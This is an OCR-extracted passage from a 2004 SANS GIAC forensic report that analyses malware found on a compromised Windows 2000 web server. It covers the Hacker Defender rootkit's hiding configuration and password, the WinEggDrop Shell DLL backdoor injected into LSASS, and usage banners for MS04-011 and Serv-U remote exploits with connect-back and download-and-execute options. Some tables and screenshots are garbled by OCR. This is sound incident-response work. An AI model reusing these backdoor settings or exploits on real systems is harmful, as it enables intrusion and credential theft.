"[>H<i>d"d:en<>\ P/:or:t<s"|\:
TCP:1023
TCP:1142
TCP:2225

""\\[//Se:t/tin/:\gs] /
P:a<>s||:s\\w\or//d=goodidea
"Ba://ckd:"o<or>"Shell=msserv?.exe
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"Fil:eMa//ppin\gN/ame"=_.-=[MSserver Map]=-._
"Serv:ice<Na>"me=msserver
>Se|rvi:ceDisp<://la"yName=Microsoft Internet Service
Ser>vic:eD||escr<ip:t"ion=Microsoft Internet Security Service
Dri<ve\rN:ame"//=msserverdrv
D:riv>erF"il|leNam/e=msserverdrv.sys

\\[//Co:m"me"nts]<<<<

Table 2-35 The msserver.ini

Then, | used the “PEiDentifier” to detect if the "msserver.exe” was packed by
any packer. As shown in Figure 2-5, | realized this binary was packed by the
“‘PE Pack 1.0” and then the “pe-scan” was used to unpack the “PE Pack 1.0”
as shown in Figure 2-6.

B PED) () 02 i =10 =]
File: ChSaNSimsserver exe | I
Entrypaink: ﬁUDDBUZE EP Section: EODE
File Offset: ﬁ:ll]_l:l?_drETE First Bytes: 74,00,E9,CB E
Linket Info: 2,25 Subsystem: MWinge GUI E
FE Pack 1,0 -2 AMAKIR
! ulki Scan I ! Iask'-.-'iewerl | Qptions I ! Abouk I | Ezxit I
v Skay on bop ?I -:=-I
Figure 2-5 A screenshot of the PEiDentifier
pe-sman OO Amemnyer axe
OpENL. .
; detection ;2
I = jnfo ” ool it e Iau:lv.s:em” unpack I
posble packerfencyptor o pe-pack 1.0
hitp e wese evetonls comy!
options quit

Figure 2-6 A screenshot of the pe-scan
After unpacking, the strings analysis was to be started. | used the “Bintext” to
extract strings of this program. Full strings are listed in Appendix 2-A and
some parts of interesting strings are listed in the following table:

00003004 00403004 0 SOFTWARE\Borland\Delphi\RTL
0000BOEC 0040BOEC 0 \\.\mailslot\hxdef-rk084s
0000B3C4 0040B3C4 0 [<>:\"

0000C590 0040C590 O [HIDDEN TABLE]

0000C5A8 0040C5A8 0 [ROOT PROCESSES]

© SANS Institute 2004, As part of GIAC practical repository. AutH®r retains full rights.



0000C5C4 0040C5C4 0 [HIDDEN SERVICES]
0000C5E0 0040C5E0 0 [HIDDEN REGKEYS]
0000C5FC 0040C5FC 0 [HIDDEN REGVALUES]

0000C618 0040C618
0000C658 0040C658
0000C69C 0040C69C
0000C6BC 0040C6BC

00088732 00488732
00006CC4 00406CC4
00006D04 00406D04
000870C8 004870C8
000877BA 004877BA
00087818 00487818

0 [FREE SPACE]
0 [HIDDEN PORTS]
0 [SETTINGS]

0 PASSWORD

0 hxdef084

0 -(C) Copyright 1998 by ANAKIN

0 p\??\HxDefDriver
0 "COMSPEC
0 PACKAGEINFO

0 \DosDevices\HxDefDriver

0 \Device\HxDefDriver

00087840 00487840 0 \DosDevices\HxDefDriver

Table 2-36 Parts of interesting sings of the “msserver.exe”

According to Table 2-36, | knew that this program was possibly written in
Delphi and | noticed a keyword “hxdef084,” which might be a clue of the name
of this program. Therefore, | tried to use this key word to search in Google
and a reference
“http://lwww.cnhonker.com/index.php?module=tools&act=view&type=3&id=62"
was found. And, the “hxdef084.zip”, “Hacker Defender v0.84” root kit, was
downloaded from this web page. There was a readme file in this zip file to
describe the function of this root kit as shown in Appendix 2-B. After reading
this readme, | knew an .ini file can be specified as a configuration when
running the “Hacker Defender.” This .ini file contained night parts: [Hidden
Table], [Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden
RegValues], [Startup Run], [Free Space], [Hidden Ports] and [Settings].
Besides, extra characters: |, <, >, :,\, / and " could be ignored on all lines
except [Startup Run], [Free Space] and [Hidden Ports] items and values in
[Settings] after first = character. Now, | realize how to decode the
‘msserver.ini” file and the “decoded msserver.ini” is shown in Table 2-37,
which specifies the root kit to hide files and process those with names
beginning with “msserv”, “ntkernel” or “pmsvc.” And, the password of this root
kit was “goodidea.” So far, | understand why | could find some suspicious sub-
keys and services about the “msserver” service in the Hive file, as shown in
Table 2-20, but I could not gather any run-time information about these by
using the “psservice.exe.” That is because the “Hacker Defender” had hidden
all those files, processes, sub-keys and services.

[Hidden Table]
msserv*
ntkernel*
pmsvc*

[Root Processes]
msserv*
ntkernel*
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[Hidden Services]
msserv*

pmsvc*

Windows Kernel Service*
r_server*

[Hidden RegKeys]

msserver

LEGACY_MSSERVER

msserverdrv

LEGACY_MSSERVERDRV

pmsvcs

LEGACY_PMSVCS

Windows Kernel Service
LEGACY_WINDOWS KERNEL SERVICE

[Hidden RegValues]
[Startup Run]
[Free Space]

[Hidden Ports]
TCP:1023
TCP:1142
TCP:2225

[Settings]

Password=goodidea

BackdoorShell=msserv?.exe
FileMappingName=_.-=[MSserver Map]=-._
ServiceName=msserver
ServiceDisplayName=Microsoft Internet Service
ServiceDescription=Microsoft Internet Security Service
DriverName=msserverdrv
DriverFileName=msserverdrv.sys

[Comments]

Table 2-37 Decoded msserver.ini

For further analysis, | copied the “msserver.exe” and “msserver.ini’ to
Windows 2000 forensic environment and put them to the same path,
“‘C:\WINNT\system32,” as the Web Server. | used the “Regmon”, the

“Filemon” and the “TCPView” to observe the behavior of the root kit. After |
executed the “msserver.exe”, the “msserver.exe” and the “msserver.ini”’, were

hidden immediately as described in the readme file.

Full results of the “Filemon” are listed in Appendix 2-C and some interesting

ones are shown in Table 2-38. When the “msserver.exe” was executed, it

created the “msserverdrv.sys” file and it, furthermore, read the configuration

from the “msserver.ini” file.

SUCCESS Options: Open Access: All
138 4:49:18 AM msserver.exe:904  SET INFORMATION
C:\WINNT\msserverdrv.sys SUCCESS FileBasiclnformation

137 4:49:18 AM msserver.exe:904 OPEN C:\WINNT\msserverdrv.sys
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139 4:49:18 AM msserver.exe:904 CLOSE C:\WINNT\msserverdrv.sys
SUCCESS

140 4:49:18 AM msserver.exe:904 OPEN C:\WINNT\msserverdrv.sys
SUCCESS Options: Open Access: All

141 4:49:18 AM msserver.exe:904 DELETE C:\WINNT\msserverdrv.sys
SUCCESS

142 4:49:18 AM msserver.exe:904 CLOSE  C:\WINNT\msserverdrv.sys
SUCCESS

143 4:49:18 AM msserver.exe:904 CREATE C:\WINNT\msserverdrv.sys
SUCCESS Options: Overwritelf Access: All

144 4:49:18 AM msserver.exe:904  WRITE  C:\WINNT\msserverdrv.sys
SUCCESS Offset: 0 Length: 3342

145 4:49:18 AM msserver.exe:904 CLOSE C:\WINNT\msserverdrv.sys
SUCCESS

146 4:49:18 AM msserver.exe:904 OPEN C:\WINNT\msserverdrv.sys
SUCCESS Options: Open Access: All

147 4:49:18 AM msserver.exe:904 SET INFORMATION
C:\WINNT\msserverdrv.sys SUCCESS FileBasicInformation

148 4:49:18 AM msserver.exe:904 CLOSE  C:\WINNT\msserverdrv.sys
SUCCESS

149 4:49:18 AM msserver.exe:904 OPEN C:\WINNT\msserverdrv.sys
SUCCESS Options: Open Access: All

150 4:49:18 AM msserver.exe:904 DELETE C:\WINNT\msserverdrv.sys
SUCCESS

151 4:49:18 AM msserver.exe:904 CLOSE C:\WINNT\msserverdrv.sys
SUCCESS

152 4:49:18 AM msserver.exe:904 CREATE C:\WINNT\msserverdrv.sys
SUCCESS Options: Overwritelf Access: All

153 4:49:18 AM msserver.exe:904  WRITE  C:\WINNT\msserverdrv.sys
SUCCESS Offset: 0 Length: 3342

154 4:49:18 AM msserver.exe:904 CLOSE  C:\WINNT\msserverdrv.sys
SUCCESS

155 4:49:18 AM msserver.exe:904 OPEN C:\WINNT\ SUCCESS
Options: Open Directory Access: All

156 4:49:18 AM msserver.exe:904 DIRECTORY  C:AWINNT\ SUCCESS
FileBothDirectorylnformation: msserver.ini

157 4:49:18 AM msserver.exe:904 CLOSE  C:\WINNT\ SUCCESS

158 4:49:18 AM msserver.exe:904 OPEN C:A\WINNT\msserver.ini
SUCCESS Options: Open Access: All

159 4:49:18 AM msserver.exe:904 READ C:\WINNT\msserver.ini
SUCCESS Offset: 0 Length: 128

160 4:49:18 AM msserver.exe:904 READ C:A\WINNT\msserver.ini
SUCCESS Offset: 128 Length: 128

161 4:49:18 AM msserver.exe:904 READ C:\WINNT\msserver.ini
SUCCESS Offset: 256 Length: 128

162 4:49:18 AM msserver.exe:904 READ C:\WINNT\msserver.ini
SUCCESS Offset: 384 Length: 128

163 4:49:18 AM msserver.exe:904 READ C:\WINNT\msserver.ini
SUCCESS Offset: 512 Length: 128

164 4:49:18 AM msserver.exe:904 CLOSE C:\WINNT\msserver.ini
SUCCESS

Table 2-38 Parts of interesting results of the “Filemon”

Full results of the “Regmon” are listed in Appendix 2-D and some interesting
ones are as shown in Table 2-39. When the “msserver.exe” was executed, it
created and set value to the

‘HKLM\SY STEM\CurrentControlSet\Control\SafeBoot\Minimal\msserver”,
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‘HKLM\SY STEM\CurrentControlSet\Control\SafeBoot\Network\msserver” and
“‘HKLM\System\CurrentControlSet\Services\msserver\ ImagePath” which are

the same as what | have found from the “C:\WINNT\system32\config\system”
of the Web Server, as shown in Table 2-20. That is evidence that the “Hacker

Defender” had been set up on the Web Server.

65 5.61568300 msserver.exe:1272  CreateKey
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\\Minimal\msserver
SUCCESS Key: 0xE21C8640

66 5.61627609 msserver.exe:1272  SetValue
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\\Minimal\msserver\(Default)
SUCCESS "Service"

67 5.61759525 msserver.exe:1272  CreateKey
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\\Network\msserver
SUCCESS Key: 0xE21E6DCO

68 5.61773549 msserver.exe:1272  SetValue
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\\Network\msserver\(Default)
SUCCESS "Service"

69 5.61778327 msserver.exe:1272 CloseKey
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\\Minimal SUCCESS Key:

OXE1EEA840

70 5.61781651 msserver.exe:1272  CloseKey
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\\Network =~ SUCCESS Key:

0xE22529C0

71 5.61784668 msserver.exe:1272  CloseKey
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\ SUCCESS Key:

0xE202B3A0

72 5.61950974 SERVICES.EXE:236 SetValue
HKLM\System\CurrentControlSet\Services\msserver\imagePath SUCCESS
"C:\WINNT\msserver.exe"

Table 2-39 Parts of interesting results of the “Regmon”

Furthermore, | found a client program, “bdcli084.exe”, of the “Hacker
Defender” in the “hxdef084.zip” file. When the client program was executed,
the IP address, the port number and the password were required. By using
the password “goodidea”, | could connect to the victim host and get a
command line shell successfully as shown in Figure 2-7. The hacker(s) could,
within my understanding, also connect to the Web Server by this way. Note
that port 80 of the Windows 2000 VMware machine runs the IIS Web service.
Taking advantage of the API hook technology, the “Hacker Defender” can use
the same port of the Web service. If | connect to the port by using a browser, |
will see the normal web page. But, if | use this client program to connect to
port 80, | will get a command line shell. This feature increases the degree of
difficulty to discover the “Hacker Defender” root kit by the Web administrators.
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Figure 2-7 A screenshot of bdcli084.exe

5.7.2 WinEggDrop Shell
In order to determine whether the “C:\WINNT\system32\pmsvc.exe” was
packed by any packer, | used the “PEiDentifier” to detect it. But, the
“‘PEiDentifier” showed “nothing detected” which means either the “pmsvc.exe’
was not packed by any packer or the “PEiDentiifer” could not recognize it.
After observing the “pmsvc.exe” by using the “UltraEdit-32”, | realized that
“‘winpm.dIlI” was needed when running this program and | doubted that the
‘pmsvc.exe” was packed by some packer that the “PEiDentifier” could not
recognize. Right after that, | used the same process to check the “winpm.dIl”
by using the “PEiDentifier” and the results also showed that “nothing
detected.” Even after | observed this file by using the “UltraEdit-32”, | still had
a doubt that the “winpm.dII” might also have been packed by some packer.
For this reason, | didn’t do strings analysis right then. Instead, | tried to copy
the “pmsvc.exe” and “winpm.dIlI” to the Windows 2000 forensic environment.
Those files were put in the same path as the Web Server. First of all, | used
the “Regmon’”, the “Filemon” and the “TCPView” to observe the behavior of
this program. Then, | executed the “pmsvc.exe” as shown in Figure 2-8. The
results of the execution showed me how to start the service and that the
‘pmsvc.exe” was a DLL injector. Next, | executed the “pmsvc.exe” with the
following instruction as shown in the Figure 2-9.
C:\WINNT\system32>pmsvc.exe —Run
After the “pmsvc.exe” was executed, | noticed that the running process
‘LSASS.exe” added a new listening port, 1023, as shown in Figure 2-10. That
was a hint to remind me a DLL backdoor might have been injected into the
running process, “LSASS.exe.”
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Figure 2-8 A screenshot of pmsvc.exe

WINNT  system32 omd.exe

] : 2088 [Verzion 5%.08.21951
Copyright 19852808 Micresoft Corp.
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Figure 2-9 Set up the WinEggDrop Shell
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Figure 2-10 A screenshot of TCPView

Full results of the “Filemon” are listed in Appendix 2-E and some interesting
ones are shown in Table 2-40. When the “pmsvc.exe” was executed, it read
411 Bytes at the offset 8704 of itself. By using the “UltraEdit-32”, | realized
that block of data was the configuration of the backdoor, as shown in Figure 2-
11, which indicated what dll file was about to be injected. | think that means
the “pmsvc.exe” was about to load the “winpm.dIl” into the memory. After that,
a copy of “pmsvc.exe” was created and named as “Tlnject.DIl.”

C:\WINNT\system32\pmsvc.exe SUCCESS

C:\WINNT\system32\pmsvc.exe SUCCESS

70 3:39:03 AM pmsvc.exe:812 OPEN C:\WINNT\system32\pmsvc.exe
SUCCESS Options: Open Access: All
71 3:39:03 AM pmsvc.exe:812 QUERY INFORMATION

Length: 9115

72 3:39:03 AM pmsvc.exe:812 READ C:\WINNT\system32\pmsvc.exe
SUCCESS Offset: 8704 Length: 411

73  3:39:03 AM pmsvc.exe:812 CLOSE  C:\WINNT\system32\pmsvc.exe
SUCCESS

74 3:39:03 AM pmsvc.exe:748 CLOSE  C:\WINNT\system32 SUCCESS

75 3:39:03 AM pmsvc.exe:812 OPEN C:\WINNT\system32\pmsvc.exe
SUCCESS Options: Open Sequential Access: All

76 3:39:03 AM pmsvc.exe:812 QUERY INFORMATION

Length: 9115

77 3:39:03 AM pmsvc.exe:812 QUERY INFORMATION
C:\WINNT\system32\pmsvc.exe SUCCESS Attributes: A

78 3:39:03 AM pmsvc.exe:812 QUERY INFORMATION
C:\WINNT\system32\pmsvc.exe SUCCESS Attributes: A

79  3:39:03 AM pmsvc.exe:812 CREATE C:\WINNT\system32\TInject.DlII
SUCCESS Options: Create Sequential Access: All

80 3:39:03 AM pmsvc.exe:812 SET INFORMATION C:\WINNT\system32\TInject.DlII
SUCCESS Length: 9115

81 3:39:03 AM pmsvc.exe:812 QUERY INFORMATION
C:\WINNT\system32\pmsvc.exe SUCCESS Length: 9115

82 3:39:03 AM pmsvc.exe:812 WRITE  C:\WINNT\system32\TInject.DII
SUCCESS Offset: 0 Length: 9115

83 3:39:03 AM pmsvc.exe:812 SET INFORMATION C:\WINNT\system32\TInject.DlII
SUCCESS FileBasicInformation

84 3:39:03 AM pmsvc.exe:812 CLOSE  C:\WINNT\system32\pmsvc.exe
SUCCESS

85 3:39:03 AM pmsvc.exe:812 CLOSE  C:\WINNT\system32\TInject.DII
SUCCESS
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Figure 2-11 The offset 8704 of the “pmsvc.exe”
Full results of the “Regmon” are listed in Appendix 2-F and some interesting
ones are as shown in Table 2-41. When the “msserver.exe” was executed, it
created and set value to the “HKLM\Software\Microsoft\Internet
Explore\WinEggDropShell”, the “HKLM\Software\Microsoft\Internet
Explore\WinEggDropShel\Wfttphuc” and the
“‘HKLM\SYSTEM\CurrentControlSet\Services\Pmsvcs.” Most of those sub-
keys were the same as what | had found from the
“C:\WINNT\system32\config\software” of the Web Server as shown in Table 2-
19. This implies that this program had once been executed on this server.

960 114.46944151 pmsvc.exe:748 CreateKey HKLM\Software\Microsoft\Internet

Explorer\WinEggDropShell SUCCESS Key: OXE1377E80

961 114.47100986 pmsvc.exe:748 SetValue HKLM\Software\Microsoft\Internet

Explorer\WinEggDropShel\Tbugndblfjb SUCCESS "Wijtqdt"

962 114.47111239 pmsvc.exe:748 CloseKey HKLM\Software\Microsoft\Internet

Explorer\WinEggDropShell SUCCESS Key: OXE1377E80

963 114.47120905 pmsvc.exe:748 CreateKey HKLM\Software\Microsoft\Internet

Explorer\WinEggDropShell SUCCESS Key: OxE1377E80

964 114.47198569 pmsvc.exe:748 SetValue HKLM\Software\Microsoft\Internet

Explorer\WinEggDropShel\Wfttphuc SUCCESS
"abb9f1f741fc4468b3767ece2a39e0e7"

965 114.47215442 pmsvc.exe:748 CloseKey HKLM\Software\Microsoft\Internet

Explorer\WinEggDropShell SUCCESS Key: O0xE1377E80

966 114.48119915 pmsvc.exe:748 CreateKey HKLM\Software\Microsoft\Internet

Explorer\WinEggDropShell SUCCESS Key: O0xE1377E80

967 114.48146873 pmsvc.exe:748 SetValue HKLM\Software\Microsoft\Internet

Explorer\WinEggDropShel\TbugndbWhus SUCCESS "6754"

968 114.48153299 pmsvc.exe:748 CloseKey HKLM\Software\Microsoft\Internet

Explorer\WinEggDropShell SUCCESS Key: OxE1377E80

969 114.48159640 pmsvc.exe:748 CreateKey HKLM\Software\Microsoft\Internet

Explorer\WinEggDropShell SUCCESS Key: OxE1377E80

970 114.48164669 pmsvc.exe:748 SetValue HKLM\Software\Microsoft\Internet
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971 114.48168021

OxE1CEEGEQ

OxE1CEEGEQ

Explorer\WinEggDropShell\Efiibu

SUCCESS man

Key: O0xE1377E80

983 115.00606697 pmsvc.exe:748 CreateKey
HKLM\SYSTEM\CurrentControlSet\Services\Pmsvcs SUCCESS

984 115.00613318 pmsvc.exe:748 SetValue
HKLM\SYSTEM\CurrentControlSet\Services\Pmsvcs\Description SUCCESS
"Portable media player connected to this computer.”

985 115.00617285 pmsvc.exe:748 CloseKey
HKLM\SYSTEM\CurrentControlSet\Services\Pmsvcs SUCCESS

Key: OXE1CEEGEO
SUCCESS

Key: OXE1CEEGEO

"wjtqd)b [ 1b"

pmsvc.exe:748 CloseKey HKLM\Software\Microsoft\Internet
Explorer\WinEggDropShell SUCCESS

Key:

Key:

986 115.00782530 pmsvc.exe:748 CreateKey HKLM\Software\Microsoft\Internet
Explorer\WinEggDropShell SUCCESS
987 115.00789234 pmsvc.exe:748 SetValue HKLM\Software\Microsoft\Internet
Explorer\WinEggDropShel\Nimbdshulfjb
988 115.00793900 pmsvc.exe:748 CloseKey HKLM\Software\Microsoft\Internet
Explorer\WinEggDropShell SUCCESS

Table 2-41 Parts of interesting results of the “Regmon”

According to Figure 2-8 and Figure 2-10, the “pmsvc.exe” might have been
used to inject a dll into the running process “LSASS.EXE.” |, therefore, used
the “Process Explorer” to verify this assumption. As shown in Figure 2-12, |

found a file, “winpm.dII”, had been injected into the running process,

“‘LSASS.EXE,” which seems to clarify that the “winpm.dII” might have been a

DLL backdoor.
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Figure 2-12 A screen of the PE-Explorer

To analyze the “winpm.dll,” | had to unpack it first. However, | had no idea
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what pack method this program had used. Fortunately, most of the packed
files are unpacked while they are loaded into memory. Therefore, | used the
“‘LordPE” to dump the “winpm.dll” from the memory as shown in the Figure 2-

13.
‘A [ LordPE Deluse ] by yoda . i [=] 5'
Fath Pl ImageBase | |mageSize ||+ | | || PEEdim
&% 2 winntsystemn 22 winlogon, exs noaonoes 01000000 (O02E 000 Bieak & Enter | |
_jr St system 32 senaces, exe Q0O000EL 01000000 (07 2000 L e e F| s FE = |
.jl; Swannthaystem 3Pk ass e OOCO00FS 01 000000 (0000 _—Ebuﬂ |
5 wnntapstem 328 svchost exe 000001 CC 01000000 0005000 { Urspht !
ays vl r. @) } 10 10 T |
jﬂc ‘warnthsyztem I zpoolsy. exe 00000IES 0¥ 000000 (000000 - . UI.I'TW!T—El .
Path ImageBaze | ImageSize | [ | Oitions I
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Figure 2-13 A screen of the LordPE

Then, | used the “Bintext” to analyze the “dumped winpm.dll.” Full results of
the “Bintext” are listed in Appendix 2-G and some interesting strings are

shown in Table 2-42. The whole process provided an important clue that the
backdoor was called “WinEggDropShell Eternity Version.”

0007A496 1007A496 0 ViewSession

Number

0007A4E1 1007A4E1 0 ViewFTPInfo

0007A529 1007A529 0 ViewPath

0007A572 1007A572 0 ViewBuffer

0007A5B5 1007A5B5 0 Send FileName [NewFileName]
0007A5F2 1007A5F2 0 SetBuffer BufferSize
0007A635 1007A635 0 SetPath Path

0007A67D 1007A67D 0 REN OldFileName NewFileName
Remotely

0007A6C3 1007A6C3 0 RKDIR Directory

Remotely

0007A70E 1007A70E 0 Root

0007A752 1007A752 0 ResetFTP

0007A79D 1007A79D 0 PD

0007A7E2 1007A7E2 0 MassDel FileName
0007A820 1007A820 0 MassSend FileName
0007A85F 1007A85F 0 MassGet FileName
0007A89D 1007A89D 0 MKDIR Directory

Remotely

0007A8E8 1007A8E8 0 KillThread ThreadNumber
0007A929 1007A929 0 GetFileName [NewFileName]
0007A968 1007A968 0 FindFile FileName
0007A9AF 1007A9AF 0 FTPCommand Commands
Command

0007A9F3 1007A9F3 0 Exit

-->KillAFTP Thread

-->Download A File
-->Find File On FTP Server
-->Send FTP RAW

-->View Current Session

-->View FTP Connection Info
-->View Current Path Locally
-->View The FTP Buffer

-->Upload A File
-->Set The Buffer Size
-->Set Current Path Locally
-->Rename A File

-->Delelte A Diretory

-->Back To The FTP Root
-->Kill All The Active Threads
-->View The Current Path
-->MultiDel Files
-->MultiSend Files
-->MultiGet Files
-->Create A Directory

-->Exit The FTP Console

© SANS Institute 2004,

As part of GIAC practical repository.

Auth@r retains full rights.



0007AA37
0007AA7C
0007AAC2
0007ABO7
0007AB4D
The FTP

0007AB8F
Remotely

0007ABD9
0007AC1F

1007AA37
1007AA7C
1007AAC2
1007ABO7
1007AB4D

1007AB8F

1007ABD9
1007AC1F

10082B4F

0 DelFile FileName
0 Del FileName

-->Delete A File Locally
-->Delete A File Remotely
0 DirFile [FileName] -->Display Files Locally
0 Dir[FileName] -->Display Files Remotely
0 Connect IP Port UserName Password -->Connect To

0 CD Directory -->Move To Directory

0 Close -->Close FTP Connection
0 CD.. -->One Directory Up Remotely
0 Welcome To WinEggDropShell Eternity Version

Table 2-42 Parts of interesting strings of the “dumped winpm.dIl”

Thereby, | tried to use "WinEggDrop Shell Eternity Version” as the key word to
search in Google and a reference
“http://www.xfocus.net/tools/200311/598.html” was found. Then | downloaded

the “Eternity.rar”,

WinEggDrop Shell Eternity Version” backdoor, from this

web page. Within the “Eternity.rar,” | found a readme file describing features of
this backdoor which can be used to view the password of logon accounts on
NT 4.0 or Win 2K, install terminal service and sniffing ftp or pop3 password,
etc. A full readme of this backdoor is shown in Appendix 2-H. Besides, within
this “Eternity.rar” file, | also found a program, “editserver.exe,” which can be
used to edit and display the configuration of the backdoor. The instruction
used to execute the “editserver.exe” is shown in the following:
C:\WINNT\system32>editserver pmsvc.exe
Then, there was a menu with a list of functions to view and modify the
configuration of the “pmsvc.exe” as shown in Figure 2-14. | chose 0 to view
settings of the “pmsvc.exe.” The result is shown in Figure 2-15 which provides
detail information about this backdoor. Because the password of this backdoor
was not saved in plain text, | tried to change its password to “1234” and then
connected the victim host by using the “telnet.exe.” After keying in the
password, | successfully got a command-line shell as shown in Figure 2-16.

3
"
1

2

CWINNT L systemd32 ) omd.exe - editserver pimsvc.ese

lccount
Info

=101 x|

reryilee Display Mame
" I.'It-r.r.'r"ipi'inr:

DLL Hams

g Mame To Inject DLL

Enter Mumber 1-% O A.B.Q:z_
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0 C WINNT | system32 ) cmidesxe - editserver pmsveexe

: Portable Hedia Helper Service
! Portable media plaver con cted to this computer.

: DLL Mame: winpm.d1l

b ;
Inject Process Mame: lsass.exe

Prezz Any Key To Return...... -

Figure 2-15 A screenshot of the “pmsvc.exe”

|5 L WINNT  system 32, cmud exe - telnet 192.168.75.129 1023

HWelcome To WinEggDlropEShell Eternity Uersion

[HelodyR10_

Figure 2-16 A screenshot of the command-line shell

5.7.3 A summary of unknown files

In this section, | put together all what | have found by analyzing unknown files,
and | classify those files according to different purposes as shown from Table
2-43 to Table 2-47.

Hacker Defender v0.84
Type: Root Kit

Related files:
1. C:\WINNT\system32\msserver.exe
MD5: 114e8231995d273852¢c18a766dd61af5
2. C:\\WINNT\system32\drivers\help\234.exe
MD5: 114e8231995d273852¢c18a766dd61af5
3. C:\\WINNT\system32\msserver.ini
MD5: 6bee02bfb4df4f63abf129d317d44660
4. C:\Documents and Settings\TsInternetUser\Local Settings\Temporary
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Internet Files\Content.IE5\89UZ49EV\123[1].exe
MD5: 15¢90353cab9e8593cda131a8e612b1f
5. C:\Documents and Settings\TsInternetUser\Local Settings\Temporary
Internet Files\Content.IES\ CPINWPUZ\123[1]
MD5: 15¢90353cab9e8593cda131a8e612b1f
6. C:\\WINNT\system32\msserverdrv.sys
MD5: 3e9d619427bc3b8c7536196ef51dc721

Description:
The main program of the “Hacker Defender v0.84” is the “msserver.exe.”

When the “msserver.exe” was executed, it would generate a driver,
“‘msserverdrv.sys”, and then read the configuration from the “msserver.ini.”
The detail analysis about this root kit can be found in section 5.7.1.
According to the MD5 values, as shown in the previous table, we know that
the “234.exe” file is the same as the “msserver.exe” file and the “123[1].exe”
file is the same as the “123[1]” file. By observing the contents of the
“123[1].exe” and “123[1]", | found they, actually, were also configure files of
the “Hacker Defender.” And, because those files were located at the
“Temporary Internet Files” subdirectory, |, therefore, infer that they were
downloaded from the Internet by using the Internet Explorer.

Table 2-43 Files related to the Hacker Defender v0.84

WinEggDrop Shell Eternity Version
Type: Backdoor

Related files:
1. C:\WINNT\system32\ pmsvc.exe

MD5: 864e9488b0a3299d1749e170b1676f9b
2. C:\WINNT\system32\TInject.dll

MD5: 864e9488b0a3299d1749e170b1676f9b
3. C:\\WINNT\system32\drivers\help\ssvc2

MD5: 864e9488b0a3299d1749e170b1676f9b
4. C:\WINNT\system32\winpm.dlI

MD5: aa11e2e5faab36056a5c86857313de58
5. C:\WINNT\system32\drivers\help\ mmdI2

MD5: aa11e2e5faab36056a5c86857313de58
6. C:\WINNT\system32\PassLog.Log

MD5: 4fb22856d2487559a5042fcdb890804b
7. C:\WINNT\system32\drivers\help\pmsvc.exe

MD5: 10cf4e146bc09b21bd483234d32ad298

Description:
The “pmsvc.exe” was used to set up the backdoor, “WinEggdrop Shell.” It

could inject the “winpm.dIl” into the running process, “LSASS.exe”, as
discussed in section 5.7.2. The “winpm.dll” was a DLL backdoor, which
provided main functions of the “WinEggdrop Shell.”

According to the MDS5 values, we know the “pmsvc.exe” is the same as the
‘winpm.dIlI” and the “ssvc2.” Besides, the “mmdI2” file is the same as
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‘winpm.dIl.” However, it seems that the
“‘C:\WINNT\system32\drivers\help\pmsvc.exe” has a different MD5 value of
other files. By observing the contents of this file, the program of it is actually
the same as the “pmsvc.exe,” but they have different configurations such as
passwords. In terms of the “PassLog.Log” file, it was generated when
“WinEggdrop Shell” enabled the “sniffing” function. The contents of this file
recorded lots of pop3 and ftp connection information, which include source
IP, source port, destination IP, destination port, user id and password.

Table 2-44 Files related to the WingEggDrop Shell Eternity Version

An ASP backdoor
Type: Backdoor

Related files:

C:\Documents and Settings\TsInternetUser\Local Settings\Temporary
Internet Files\Content.IES\BHYZWL23\ iis[1].exeddd

MD5: 562714fc53091a1¢2d92550b48c47691

Screenshot:

I MmpEw | s e b o

Description:

This is an ASP backdoor which can be used to browse and edit files and
execute programs. The source code of this ASP backdoor is listed in
Appendix 2-I.
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Table 2-45 An ASP backdoor

Hacker tools

Related files:
C:\winnt\system32\drivers\help\dsc.exe
MD5: eb49834c44f03fcfa46c6def61af4c03

Screenshot:

D [55cen 1.00 - Copynght TRoandsiors Tne. 2004 - wne fousdsione eom

1Pz

HotnameP |EERIEND » |[SianlP End P
Stant |P _')5_] - N
EndlP |72 16 1 4
Raad 1P feom fle Browsia .

Sican Contral

¥ Resolve IP addesses o hostnames IT
¥ Show foth vidnesable and not vulnerable system: Timeoul [ma| | 5000
¥ Bandomize scan oids

[ Send message to vulrersbls sisms

IF | Hasname | Mestiins

Seannsd oo Wulnesabla i

Description:
This program can be used to remotely detect LSASS vulnerability related in the MS04-011 b

Related files:
C:\winnt\system32\drivers\help\getos.exe
MD5: b639644bef54eeaB8e126f40ea7490df5

Screenshot:

THCsmbgetOS v0.1 - gets group, server and os via SMB
by Johnny Cyberpunk (jcyberpunk@thc.org)

gimme host or ip

Description:
This program can be used to detect the OS version of remote machines. This information wi

Related files:
1. C:\winnt\system32\drivers\help\ms.exe
MD5: C216a18584a36153ed6959ddfded26f1
2. C:\winnt\system32\drivers\help\sbaanetapi.dll
MD5: 055¢5d241bf7262cd9c3c8ed38d53ae9
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Screenshot:
Windows Lsasrv.dll RPC [ms04011] buffer overflow Remote Exploit
bug discoveried by eEye,
code by sbaa(sysop@sbaa.3322.org) 2004/04/24 ver 0.1
Usage:
ms 0 targetip (Port ConnectBackIP )
----> attack 2k (tested on cn sp4,en sp4)
ms 1 targetip (Port ConnectBackIP )
----> attack xp (tested on cn sp1)

Description:
This program is a MS04-011 buffer overflow remote exploit.

Related files:
C:\winnt\system32\drivers\help\mdtm2.exe
MD5: 9601eac41f77565fb41ed3b4dfcbde10

Screenshot:
Serv-U FTPD 2.x/3.x/4.x/5.x remote overflow exploit V7.0 (2004-01-07)
Bug find by bkbll (bkbli@cnhonker.net), Code by lion (lion@cnhonker.net)
Welcome to HUC website http://www.cnhonker.com

Usage: mdtm2 -i <ip> [Options]
-t~ Show All Target Type.

[Options:]
-i Target IP Required
-t Target Type Default: 0
-u  FTP Username Default: ftp
-p  FTP Password Default: fip@ftp.com
-f  Port of the FTP Server Default: 21
-s Port of the Shell Default: 53
-c  Connect back IP For connectback shellcode

-d  Download the URL and Exec  Start with 'http://' or 'ftp://'

Description:
This program is a Serv-U FTPD remote overflow exploit.

Related files:
gooltel.exe
MD5: 0ff93a06347dd248c8bd449dc62890c8

Screenshot:

hkkkkkkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhhhhhhhhkhhhkhkhhkhhkhkhkhhkhhhkhhhkhhhhhhhd

Remote Telnet Configure, by refdom
Email: refdom@263.net
gooltel

